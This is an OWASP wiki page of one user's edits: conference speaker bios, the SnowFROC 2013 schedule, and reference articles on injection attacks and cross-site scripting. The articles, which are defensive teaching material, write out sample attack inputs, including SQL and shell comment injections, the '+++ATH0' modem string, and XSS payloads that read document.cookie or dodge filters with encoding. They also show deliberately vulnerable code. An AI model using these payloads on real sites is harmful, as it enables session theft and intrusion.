OWASP - User contributions [en]

User:Alan Jex

2013-03-25T15:14:24Z

Alan Jex:

Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for performing penetration tests and implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan graduated from BYU with a B.S. in Computer Science. He participates in the local Salt Lake [https://www.owasp.org/index.php/Salt_Lake OWASP] chapter.

Front Range OWASP Conference 2013/Speakers/Jex

2013-03-25T15:09:20Z

Alan Jex:

== Alan Jex ==

{| style="width: 100%;"
|- valign="top"
| Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for performing penetration tests and implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan graduated from BYU with a B.S. in Computer Science. He participates in the local Salt Lake [https://www.owasp.org/index.php/Salt_Lake OWASP] chapter.
| style="width: 200px; |

| [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]
|}

Front Range OWASP Conference 2013/Speakers/Jex

2013-03-25T15:06:10Z

Alan Jex:

== Alan Jex ==

{| style="width: 100%;"
|- valign="top"
| Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for performing penetration tests and implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan participates in the local Salt Lake [https://www.owasp.org/index.php/Salt_Lake OWASP] chapter. Alan graduated from BYU with a B.S. in Computer Science.
| style="width: 200px; |

| [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]
|}

Front Range OWASP Conference 2013/Speakers/Jex

2013-03-25T15:03:30Z

Alan Jex:

== Alan Jex ==

{| style="width: 100%;"
|- valign="top"
| Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan participates in the local Salt Lake [http://www.owasp.org OWASP] chapter. Alan graduated from BYU with a B.S. in Computer Science.
| style="width: 200px; |

| [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]
|}

Front Range OWASP Conference 2013/Speakers/Jex

2013-03-21T23:19:50Z

Alan Jex: Update experience

== Alan Jex ==

{| style="width: 100%;"
|- valign="top"
| Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan participates in the local [http://www.owasp.org OWASP] chapter. Alan’s interests include tennis, hiking and piano.
| style="width: 200px; |

| [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]
|}

Front Range OWASP Conference 2013/Speakers/Jex

2013-03-21T23:14:18Z

Alan Jex: Updated links and add more detail

== Alan Jex ==

{| style="width: 100%;"
|- valign="top"
| Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on Enterprise Security Manager (ESM). He worked at Novell as a Senior Software Engineer on ZENworks. Alan is a proponent of the [http://www.owasp.org OWASP] organization. Alan’s interests include tennis, hiking and piano.
| style="width: 200px; |

| [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]
|}

Front Range OWASP Conference 2013/Speakers/Jex

2013-03-21T23:07:43Z

Alan Jex: Update links

== Alan Jex ==

{| style="width: 100%;"
|- valign="top"
| Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He worked at Symantec and Novell as a Senior Software Engineer on security enterprise solutions. Alan is a proponent of the [http://www.owasp.org OWASP] organization. Alan’s interests include tennis, hiking and piano.
| style="width: 200px; |

| [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]
|}

Front Range OWASP Conference 2013/Schedule

2013-03-21T23:02:58Z

Alan Jex: Updated presentation title

====SnowFROC 2013 schedule====
This schedule is subject to frequently changes as the conference draws nearer.

==CFP Schedule==

Abstract collection will begin January 14th and continue until all speaking slots are filled. Rolling evaluations will occur and selected papers will be announced each Monday beginning on February 11th.

Final presentations of accepted abstracts must be submitted for review by March 17th. Presentations will be delivered during the conference on March 28th.

(See the [[Front_Range_OWASP_Conference_2013#CFP|CFP]] section for additional dates and details.)

==Day of Event Schedule==
<br>

{| style="width:95%; border-collapse:collapse;" border="1" align="right"
! style="width:10%; border-left: 1px solid white; border-top: 1px solid white;" | '''Thu, Mar 28'''
! style="width:19%; border-bottom: 1px solid black; background:#E8D0A9" align="center" | Technical Track
! style="width:19%; border-bottom: 1px solid black; background:#DFC184" align="center" | Deep-Dive Track
! style="width:19%; border-bottom: 1px solid black; background:#F2F2F2" align="center" | Management Track
! style="width:19%; border-bottom: 1px solid black; background:#B7AFA3" align="center" | Legal Track
| style="border-right: 1px solid white; border-top: 1px solid white;" align="center" rowspan="5" |
|-
| style="background:#024C68; color:white" align="center" | 07:00-08:30
| colspan="4" style="background:#AEBEC3; color:#024C68" align="center" | '''Registration and Morning Snacks''' <br> ''Sponsored by [http://www.hpenterprisesecurity.com.com '''HP''']''
|-
| style="background:#024C68; color:white" align="center" | 08:00-08:15
| colspan="4" style="background:#E0E0E0" align="center" | '''Welcome and Kick-off'''<br> ''[[User:Brad_Carvalho|Brad Carvalho]], [[User:Mark_Major|Mark Major]]''
|-
| style="background:#024C68; color:white" align="center" | 08:15-08:30
| colspan="4" style="background:#E0E0E0" align="center" | '''State of OWASP'''<br> ''[[Front_Range_OWASP_Conference_2013/Speakers/Manico|Jim Manico]]''
|-
| style="background:#024C68; color:white" align="center" | 08:30-09:30
| colspan="4" style="background:#E0E0E0" align="center" | '''Keynote Address'''<br> ''[[Front_Range_OWASP_Conference_2013/Speakers/Ziring|Neal Ziring]], Technical Director for the National Security Agency’s Information Assurance Directorate (IAD)''
|-
| style="background:#024C68; color:white" align="center" | 09:30-10:00
| colspan="4" style="background:#AEBEC3; color:#024C68" align="center" | '''Coffee Break and Sponsor Expo''' <br> Coffee provided by [SPONSORSHIP AVAILABLE]
| style="background:#C1DAD6" align="center" | '''CTF Kick-off'''<br>''[[User:Chris_Rossi|Chris Rossi]], [[User:Mark_Major|Mark Major]]''
|-
| style="background:#024C68; color:white" align="center" | 10:00-10:45
| style="background:#E8D0A9" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess1_Tech1|'''DevFu: The inner ninja in every application developer''' <br> ''Danny Chrastil'']]
| style="background:#DFC184" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess1_Tech2|'''SIP Based Cloud Instances''' <br> ''Gregory Disney-Leugers]]''
| style="background:#F2F2F2" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess1_Mgmt1|'''Digital Bounty Hunters - Decoding Bug Bounty Programs''' <br> ''Jon Rose]]''
| style="background:#B7AFA3" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess1_Mgmt2|'''Electronic Discovery for System Administrators''' <br> ''Russell Shumway]]''
| style="background:#C1DAD6" align="center" rowspan="9" | [[Front_Range_OWASP_Conference_2013/CTF|'''CTF''']] <br> ''Sponsored by [https://aerstone.com '''Aerstone''']''
|-
| style="background:#024C68; color:white" align="center" | 10:55-11:40
| style="background:#E8D0A9" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess2_Tech1|'''Adventures in Large Scale HTTP Header Abuse''' <br> ''Zachary Wolff]]''
| style="background:#DFC184" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess2_Tech2|'''How Malware Attacks Web Applications''' <br> ''Casey Smith]]''
| style="background:#F2F2F2" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess2_Mgmt1|'''Linking Security to Business Value in the Customer Service Industry''' <br> ''Dan Rojas]]''
| style="background:#B7AFA3" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess2_Mgmt2|'''Legal Issues of Forensics in the Cloud''' <br> ''David Willson]]''
|-
| style="background:#024C68; color:white" align="center" | 11:40-12:40
| colspan="4" style="background:#AEBEC3; color:#024C68" align="center" | '''Lunch and Sponsor Expo''' <br> Lunch provided by [SPONSORSHIP AVAILABLE]
|-
| style="background:#024C68; color:white" align="center" | 12:40-13:25
| style="background:#E8D0A9" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess3_Tech1|'''Angry Cars: Hacking the "Car as Platform"''' <br> ''Aaron Weaver]]''
| style="background:#DFC184" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess3_Tech2|'''Top Ten Web Application Defenses''' <br> ''Jim Manico]]''
| style="background:#F2F2F2" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess3_Mgmt1|'''Using SaaS and the Cloud to Secure the SDLC''' <br> ''Andrew Earle]]''
| style="background:#B7AFA3" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess3_Mgmt2|'''CISPA: Why Privacy Advocates This Legislation''' <br> ''Maureen Donohue Feinroth]]''
|-
| style="background:#024C68; color:white" align="center" | 13:35-14:20
| style="background:#E8D0A9" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess5_Tech1|'''DevOps and Security: It's Happening. Right Now.''' <br> ''Helen Bravo]]''
| style="background:#DFC184" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess4_Tech2|'''A Demo of and Preventing XSS in .NET Applications''' <br> ''Larry Conklin]]''
| style="background:#F2F2F2" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess4_Mgmt1|'''Measuring Security Best Practices With OpenSAMM''' <br> ''Alan Jex]]''
| style="background:#B7AFA3" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess4_Mgmt2|'''Crafting a Plan for When Security Fails''' <br> ''Robert Lelewski]]''
|-
| style="background:#024C68; color:white" align="center" | 14:30-15:15
| style="background:#E8D0A9" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess4_Tech1|'''Real World Cloud Application Security''' <br> ''Jason Chan]]''
| style="background:#DFC184" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess5_Tech2|'''Data Mining a Mountain of Zero Day Vulnerabilities''' <br> ''Joe Brady]]''
| style="background:#F2F2F2" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess5_Mgmt1|'''Defending Desktop (.NET/C#) Applications: Mitigating in the Dark (A Case Study Remix)''' <br> ''Jon McCoy]]''
| style="background:#B7AFA3" align="center" | [[Front_Range_OWASP_Conference_2013/Sessions/Sess5_Mgmt2|'''Information Control: The Critical Need for a Defensible Position - Securing the Information Ecosystem''' <br> ''Tom Glanville]]''
|-
| style="background:#024C68; color:white" align="center" | 15:15-15:45
| colspan="4" style="background:#AEBEC3; color:#024C68" align="center" | '''Coffee Break and Sponsor Expo''' <br> Coffee provided by [SPONSORSHIP AVAILABLE]
|-
| style="background:#024C68; color:white" align="center" | 15:45-16:45
| colspan="4" style="background:#E0E0E0" align="center" | '''Moderated Panel Discussion''' ''
Panelist Name, Company & Title
Panelist Name, Company & Title
Panelist Name, Company & Title
Moderator: [[Front_Range_OWASP_Conference_2013/Speakers/Manico|Jim Manico]]''
|-
| style="background:#024C68; color:white" align="center" | 16:45-17:00
| colspan="4" style="background:#E0E0E0" align="center" | '''Closing Statements'''<br>''[[User:Brad_Carvalho|Brad Carvalho]], [[User:Mark_Major|Mark Major]]''
|-
| style="background:#024C68; color:white" align="center" | 17:00-
| colspan="4" style="background:#E0E0E0" align="center" | '''Sponsor Raffles, Drawings, and Contests'''
| style="background:#C1DAD6" align="center" | '''CTF Wrap-Up'''<br>''[[User:Chris_Rossi|Chris Rossi]], [[User:Mark_Major|Mark Major]]''
|-
| style="background:#024C68; color:white" align="center" | 19:00-22:00+
| colspan="4" style="background:#AEBEC3; color:#024C68" align="center" | '''After-party at [http://denverpoolhall.com/ Tarantula Billiards]''' <br> ''Sponsored by [https://www.appliedtrust.com '''AppliedTrust''']'' <br> ''Tarantula is located 3 blocks from the Marriott at the corner of 15th and Stout (1520 Stout Street, Denver)''
| style="background:#C1DAD6" align="center" | '''Awards Ceremony''' ''at [http://denverpoolhall.com/ Tarantula]'' (20:00)
|-
| style="border-left: 1px solid white; border-right: 1px solid white; border-bottom: 1px solid white; border-top: 1px solid black;" | <br><br>
| style="border-left: 1px solid white; border-right: 1px solid white;" colspan="4" |
| style="border-left: 1px solid white; border-right: 1px solid white; border-bottom: 1px solid white" |
|-
! style="border-left: 1px solid white; border-top: 1px solid white;" | '''Fri, Mar 29'''
! style="border-bottom: 1px solid black; background:#E8D0A9" align="center" | Training
! style="border-bottom: 1px solid black; background:#DFC184" align="center" | Birds of a Feather: A
! style="border-bottom: 1px solid black; background:#F2F2F2" align="center" | Birds of a Feather: B
! style="border-bottom: 1px solid black; background:#B7AFA3" align="center" | Capture the Flag
| style="border-right: 1px solid white; border-bottom: 1px solid white;" rowspan="6" |
|-
| style="width:10%; background:#024C68; color:white" align="center" | 09:00-9:45
| style="width:20%; background:#E8D0A9" align="center" rowspan="5" | Secure Coding
| style="width:20%; background:#DFC184" align="center" | {{:Front_Range_OWASP_Conference_2013/boaf1a}} ''([[Front_Range_OWASP_Conference_2013/boaf1a|edit]])''
| style="width:20%; background:#F2F2F2" align="center" | {{:Front_Range_OWASP_Conference_2013/boaf1b}} ''([[Front_Range_OWASP_Conference_2013/boaf1b|edit]])''
| style="width:20%; background:#B7AFA3" align="center" rowspan="2" | FLOSSHack: CTF VM
|-
| style="width:10%; background:#024C68; color:white" align="center" | 10:00-10:45
| style="width:20%; background:#DFC184" align="center" | {{:Front_Range_OWASP_Conference_2013/boaf2a}} ''([[Front_Range_OWASP_Conference_2013/boaf2a|edit]])''
| style="width:20%; background:#F2F2F2" align="center" | {{:Front_Range_OWASP_Conference_2013/boaf2b}} ''([[Front_Range_OWASP_Conference_2013/boaf2b|edit]])''
|-
| style="width:10%; background:#024C68; color:white" align="center" | 10:45-11:15
| colspan="3" style="background:#AEBEC3; color:#024C68" align="center" | '''Coffee Break'''<br>Provided by [SPONSORSHIP AVAILABLE]
|-
| style="width:10%; background:#024C68; color:white" align="center" | 11:15-12:00
| style="width:20%; background:#DFC184" align="center" | {{:Front_Range_OWASP_Conference_2013/boaf3a}} ''([[Front_Range_OWASP_Conference_2013/boaf3a|edit]])''
| style="width:20%; background:#F2F2F2" align="center" | {{:Front_Range_OWASP_Conference_2013/boaf3b}} ''([[Front_Range_OWASP_Conference_2013/boaf3b|edit]])''
| style="width:20%; background:#B7AFA3" align="center" rowspan="2" | FLOSSHack: CTF Scoreboard
|-
| style="width:10%; background:#024C68; color:white" align="center" | 12:15-13:00
| style="width:20%; background:#DFC184" align="center" | {{:Front_Range_OWASP_Conference_2013/boaf4a}} ''([[Front_Range_OWASP_Conference_2013/boaf4a|edit]])''
| style="width:20%; background:#F2F2F2" align="center" | {{:Front_Range_OWASP_Conference_2013/boaf4b}} ''([[Front_Range_OWASP_Conference_2013/boaf4b|edit]])''
|}

Front Range OWASP Conference 2013/Speakers/Jex

2013-03-21T22:59:25Z

Alan Jex: Updated speaker bio

== Alan Jex ==

{| style="width: 100%;"
|- valign="top"
| Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He worked at Symantec and Novell as a Senior Software Engineer on security enterprise solutions. Alan is a proponent of the OWASP organization (www.owasp.org) which provides guidance for web application security. Alan’s interests include tennis, hiking and piano.
| style="width: 200px; |

| [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]
|}

Front Range OWASP Conference 2013/Presentations/OpenSAMM

2013-03-21T22:57:47Z

Alan Jex:

===Measuring Security Best Practices With OpenSAMM===

Security is becoming a competitive advantage in the marketplace. How do we ensure that security is built into products for our customers?

Security vulnerabilities can be introduced at any phase of the software development life cycle (SDLC). The [http://www.opensamm.org/ Open Software Assurance Maturity Model (OpenSAMM)] is lightweight, flexible framework that helps prevent vulnerabilities and improve security during software development.

This talk advocates adopting OpenSAMM to measure security best practices and improve our security processes, tools, and knowledge.

User:Alan Jex

2013-03-21T22:56:12Z

Alan Jex: Update personal bio

Alan is a Chief Security Architect at HP and is a CISSP. He worked at Symantec and Novell as a Senior Software Engineer on security enterprise solutions. Alan is a proponent of the OWASP organization (www.owasp.org) which provides guidance for web application security. Alan’s interests include tennis, hiking and piano.

Custom Special Character Injection

2011-12-08T23:22:27Z

Alan Jex: Added to Injection subcategory

{{Template:Attack}}

<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

The software does not properly filter or quote special characters or reserved words that are used in a custom or proprietary language or representation that is used by the product. That allows attackers to modify the syntax, content, or commands before they are processed by the end system.

==Risk Factors==
TBD

==Examples ==

'''Example1'''

A simple example is an application which executes almost everything which is passed to it from the current terminal by the user without
sanitazing and blocking user input. If the application doesn't implement appropriate signals handling, we may interrupt or suspend program
execution by sending respectively ''Ctrl+C (^C)'' or ''Ctrl+Z (^Z)'' combinations. These combinations are sending signals to the application.
In the first case it's ''SIGINT'' and in the second it's ''SIGSTOP'' signal.

'''Example2'''

The classic example, often used by the IRC warriors/bandits, was disconnecting modem users by sending to them a special sequence of
characters. Sending via any protocol (IP) "''+++ATH0''" sequence caused some modems to interpret this sequence as a disconnect command. So
all that had to be done was to send the sequence on an IRC channel, which in effect forced vulnerable modems to disconnect.

==Related [[Threat Agents]]==
* [[Logic/time bomb]]

==Related [[Attacks]]==
* [[Log forging]]

==Related [[Vulnerabilities]]==
TBD

==Related [[Controls]]==
* [[:Category:Input Validation]]
* [[Output Validation]]
* [[Canonicalization]]

==References==
TBD

[[Category:Injection]]
[[Category:Resource Manipulation]]
[[Category:Attack]]

Resource Injection

2011-12-08T23:17:49Z

Alan Jex: Add to Injection subcategory

{{Template:Attack}}
<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==
This attack consists of changing resource identifiers used by an application in order to perform a malicious task. When an application permits a user input to define a resource, like a file name or port number, this data can be manipulated to execute or access different resources.
<br>
In order to be properly executed, the attacker must have the possibility to specify a resource identifier through the application form and the application must permit its execution.

The resource type affected by user input indicates the content type that may be exposed. For example, an application that permits input of special characters like period, slash, and backslash is risky when used in methods that interact with the file system.

The resource injection attack focuses on accessing other resources than the local filesystem, which is different attack technique known as a [[Path Manipulation]] attack.<br>

== Risk Factors==
TBD

==Examples ==

===Example 1===
The following examples represent an application which gets a port number from an HTTP request and creates a socket with this port number without any validation. A user using a proxy can modify this port and obtain a direct connection (socket) with the server.
<br><br>

'''Java code:'''

String rPort = request.getParameter("remotePort");
...
ServerSocket srvr = new ServerSocket(rPort);
Socket skt = srvr.accept();
...

<br>
'''.Net code:'''

int rPort = Int32.Parse(Request.get_Item("remotePort "));
...
IPEndPoint endpoint = new IPEndPoint(address,rPort);
socket = new Socket(endpoint.AddressFamily,
SocketType.Stream, ProtocolType.Tcp);
socket.Connect(endpoint);
...

===Example 2===
This example is same as previous, but it gets port number from CGI requests using C++:

char* rPort = getenv("remotePort ");
...
serv_addr.sin_port = htons(atoi(rPort));
if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)
error("ERROR connecting");
...

===Example 3===
This example in PLSQL / TSQL gets a URL path from a CGI and downloads the file contained in it. If a user modifies the path or filename, it’s possible to download arbitrary files from server:
...
filename := SUBSTR(OWA_UTIL.get_cgi_env('PATH_INFO'), 2);
WPG_DOCLOAD.download_file(filename);
...

==Related [[Threat Agents]]==
* [[:Category:Logical Attacks]]
* [[:Category: Information Disclosure]]

==Related [[Attacks]]==
* [[Path Traversal]]
* [[Path Manipulation]]
* [[Relative Path Traversal]]
* [[:Category:Injection Attack | Injection Attacks]]

==Related [[Vulnerabilities]]==
* [[:Category:Input Validation Vulnerability]]

==Related [[Controls]]==
* [[:Category:Input Validation]]

==References==
* http://samate.nist.gov/SRD/view_testcase.php?tID=1734
* http://cwe.mitre.org/data/definitions/99.html
* http://capec.mitre.org/data/index.html#Definition
* http://www.fortifysoftware.com/vulncat/
* G. Hoglund and G. McGraw. Exploiting Software. Addison-Wesley, 2004.

[[Category: Injection]]
[[Category: Attack]]

Comment Injection Attack

2011-12-08T23:12:50Z

Alan Jex: Added to Injection subcategory

{{Template:Attack}}
<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==
Comments injected into an application through input can be used to compromise a system. As data is parsed, an injected/malformed comment may cause the process to take unexpected actions that result in an attack.

==Risk Factors==
TBD

==Examples==

The attacker may conduct this kind of attack with different programming or scripting languages:

'''Database:'''

If the attacker has the ability to manipulate queries which are sent to the database, then he's able to inject a terminating
character too. The aftermath is that the interpretation of the query will be stopped at the terminating character:
<pre>
SELECT body FROM items WHERE id = $ID limit 1;
</pre>
Let's assume that the attacker has sent via the GET method the following data stored in variable $ID:
<pre>
"1 or 1=1; #"
</pre>
In the end the final query form is:
<pre>
SELECT body FROM items WHERE id = 1 or 1=1; # limit 1;
</pre>
After the '''#''' character everything will be discarded by the database including "''limit 1''", so only the last column "body" with all its records will be received as a query response.

Sequences that may be used to comment queries:
* MySQL:''#'', ''--''
* MS SQL: ''--''
* MS Access: ''%00'' ('''hack!''')
* Oracle: ''--''

'''Null byte:'''

To comment out some parts of the queries, the attacker may use the standard sequences, typical for a given language, or terminate
the queries using his own methods being limited only by his imagination. An interesing example is a null byte method used to
comment out everything after the current query in MS Access databases. More information about this can be found in [[Embedding Null Code]] .

'''Shell:'''

Shell (bash) also has the character '''#''', which terminates interpretation.

For example:

find.php
<pre>
<?
$ =sth $_GET['what];
system("/usr/bin/find -name '$sth' -type f");
?>
</pre>
Using ''/find.php?what=*'%20%23'' the attacker will bypass limitation "''-type f''" and this command:
<pre>
/usr/bin/find -name '*' -type f
</pre>
will become:
<pre>
/usr/bin/find -name '*' #-type f
</pre>
So the final form of the command is:
<pre>
/usr/bin/find -name '*'
</pre>

'''HTML (injection):'''

If there are no restrictions about who is able to insert comments, then using the start comment tag:
<pre>
<!--
</pre>
it's possible to comment out the rest of displayed content on the website.

invisible.php
<pre>
<?php
print "hello!: ";
print $_GET['user'];
print " Welcome friend!";
?>
</pre>
After:
<pre>
GET /invisible.php?user=<!--
</pre>
There result will be:
<pre>
hello!:
</pre>

==Related [[Threat Agents]]==
TBD

==Related [[Attacks]]==
* [[Embedding_Null_Code]]
* [[Unicode Encoding]]

==Related [[Vulnerabilities]]==
* [[:Category:Input Validation Vulnerability]]

==Related [[Controls]]==
* [[:Category: Input Validation]]
* [[Output Validation]]
* [[Canonicalization]]

==References==
* http://dev.mysql.com/doc/refman/5.0/en/comments.html
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html

[[Category:FIXME|please check the second link]]

[[Category:Injection]]
[[Category:Resource Manipulation]]
[[Category:Attack]]

Cross-site Scripting (XSS)

2011-12-08T23:10:52Z

Alan Jex:

{{template: Attack}}<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[Category:Security Focus Area]]
__NOTOC__
==Overview==
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

==Related Security Activities==

===How to Avoid Cross-site scripting Vulnerabilities===

See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]

See the [[Abridged XSS Prevention Cheat Sheet]]

See the [[DOM based XSS Prevention Cheat Sheet]]

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].

===How to Review Code for Cross-site scripting Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.

===How to Test for Cross-site scripting Vulnerabilities===

See the latest [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to test for the various kinds of XSS vulnerabilities.
* [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]]
* [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]]
* [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]

==Description==

Cross-Site Scripting (XSS) attacks occur when:

# Data enters a Web application through an untrusted source, most frequently a web request.
#The data is included in dynamic content that is sent to a web user without being validated for malicious code.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

===Stored and Reflected XSS Attacks===
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].

====Stored XSS Attacks====
Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.

====Reflected XSS Attacks====
Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server.

====XSS Attack Consequences====
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.

===How to Determine If You Are Vulnerable===
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

===How to Protect Yourself===
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].

Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.

The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.

===Alternate XSS Syntax===
====XSS using Script in Attributes====

XSS attacks may be conducted without using <script></script> tags.
Other tags will do exacly the same thing, for example:
<pre>
<body onload=alert('test1')>
</pre>
or other attribites like: onmouseover, onerror.

onmouseover
<pre>
<b onmouseover=alert('Wufff!')>click me!</b>
</prE>
onerror
<pre>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
</pre>

====XSS using Script Via Encoded URI Schemes====

If we need to hide against web application filters we may try to encode string characters, e.g.: a=&#X41 (UTF-8) and use it in
IMG tag:
<pre>
<IMG SRC=j&#X41vascript:alert('test2')>
</pre>
There are many different UTF-8 encoding notations what give us even more possibilities.

====XSS using code encoding====

We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397
<pre>
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
</pre>
These (just a little modified by me) and others examples can be found on http://ha.ckers.org/xss.html, which is a true encyclopedia of the alternate XSS syntax attack.



== Examples ==

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.

The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.

===Example 1===

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

<pre>
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
</pre>

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

